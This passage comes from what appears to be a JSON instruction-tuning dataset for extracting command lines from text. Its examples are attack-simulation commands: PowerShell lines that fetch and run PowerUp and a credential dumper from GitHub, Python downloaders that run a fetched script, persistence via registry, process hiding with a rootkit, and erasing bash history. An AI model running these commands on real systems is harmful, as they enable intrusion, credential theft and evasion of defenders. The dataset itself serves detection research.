[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary downloading and executing a payload, use the following command: bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}; To simulate an adversary leveraging bitsadmin.exe for downloading and executing a payload through PowerShell, execute this command: Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}",
    "output": "{\"command_list\": [\"bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}\\n\", \"Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be edited to turn off toast notifications using reg.exe with this command: reg add HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f; To disable Windows Security Center notifications, modify the registry of the currently logged-in user with the following command: reg add HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f\\n\", \"reg add HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ImmersiveShell /v UseActionCenterExperience /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script can be downloaded and executed locally via this Python command:\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\n$which_python -c 'import requests;import os;url = \"#{script_url}\";malicious_command = \"#{executor} #{payload_file_name} #{script_args}\";session = requests.session();source = session.get(url).content;fd = open(\"#{payload_file_name}\", \"wb+\");fd.write(source);fd.close();os.system(malicious_command)'; To create a Python file that downloads and executes a shell script, use the following command:\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > #{python_script_name}\necho 'import os' >> #{python_script_name}\necho 'url = \"#{script_url}\"' >> #{python_script_name}\necho 'malicious_command = \"#{executor} #{payload_file_name} #{script_args}\"' >> #{python_script_name}\necho 'session = requests.session()' >> #{python_script_name}\necho 'source = session.get(url).content' >> #{python_script_name}\necho 'fd = open(\"#{payload_file_name}\", \"wb+\")' >> #{python_script_name}\necho 'fd.write(source)' >> #{python_script_name}\necho 'fd.close()' >> #{python_script_name}\necho 'os.system(malicious_command)' >> #{python_script_name}\n$which_python #{python_script_name}\n",
    "output": "{\"command_list\": [\"which_python=$(which python || which python3 || which python3.9 || which python2)\\n$which_python -c 'import requests;import os;url = \\\"#{script_url}\\\";malicious_command = \\\"#{executor} #{payload_file_name} #{script_args}\\\";session = requests.session();source = session.get(url).content;fd = open(\\\"#{payload_file_name}\\\", \\\"wb+\\\");fd.write(source);fd.close();os.system(malicious_command)'\\n\", \"which_python=$(which python || which python3 || which python3.9 || which python2)\\necho 'import requests' > #{python_script_name}\\necho 'import os' >> #{python_script_name}\\necho 'url = \\\"#{script_url}\\\"' >> #{python_script_name}\\necho 'malicious_command = \\\"#{executor} #{payload_file_name} #{script_args}\\\"' >> #{python_script_name}\\necho 'session = requests.session()' >> #{python_script_name}\\necho 'source = session.get(url).content' >> #{python_script_name}\\necho 'fd = open(\\\"#{payload_file_name}\\\", \\\"wb+\\\")' >> #{python_script_name}\\necho 'fd.write(source)' >> #{python_script_name}\\necho 'fd.close()' >> #{python_script_name}\\necho 'os.system(malicious_command)' >> #{python_script_name}\\n$which_python #{python_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test modifies the 'Internet Explorer Core Fonts' Active Setup key by adding a StubPath value with the command: Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup, forcing immediate execution through runonce.exe instead of waiting for next login.; This test modifies the 'Internet Explorer Core Fonts' registry key version to trigger the StubPath payload, using the command: Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" \\\"StubPath\\\" \\\"#{payload}\\\" -Force\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\", \"Set-ItemProperty -Path \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\\{C9E9A340-D1F1-11D0-821E-444553540600}\\\" -Name \\\"Version\\\" -Value \\\"0,0,0,0\\\"\\n& $env:SYSTEMROOT\\\\system32\\\\runonce.exe /AlternateShellStartup\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique leverages libprocesshider to hide a process, executed via the command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"; The Diamorphine kernel module can be loaded and a process hidden by executing this command sequence: sudo modprobe #{rootkit_name}\nping -c 10 localhost >/dev/null & TARGETPID=\"$!\"\nps $TARGETPID\nkill -31 $TARGETPID\nps $TARGETPID || echo \"process ${TARGETPID} hidden\"\n",
    "output": "{\"command_list\": [\"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\", \"sudo modprobe #{rootkit_name}\\nping -c 10 localhost >/dev/null & TARGETPID=\\\"$!\\\"\\nps $TARGETPID\\nkill -31 $TARGETPID\\nps $TARGETPID || echo \\\"process ${TARGETPID} hidden\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from the Windows credential manager and save them to $env:TEMP\\windows-credentials.txt, use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1555\\src\\T1555-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"; For extracting Windows Credential Manager credentials, run this script: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1555\\\\src\\\\T1555-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\"\\n\", \"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can erase the bash history by executing this command: cat /dev/null > #{history_path}\n; Bash history can be erased by pointing it to /dev/null via the command: ln -sf /dev/null #{history_path}\n",
    "output": "{\"command_list\": [\"cat /dev/null > #{history_path}\\n\", \"ln -sf /dev/null #{history_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: 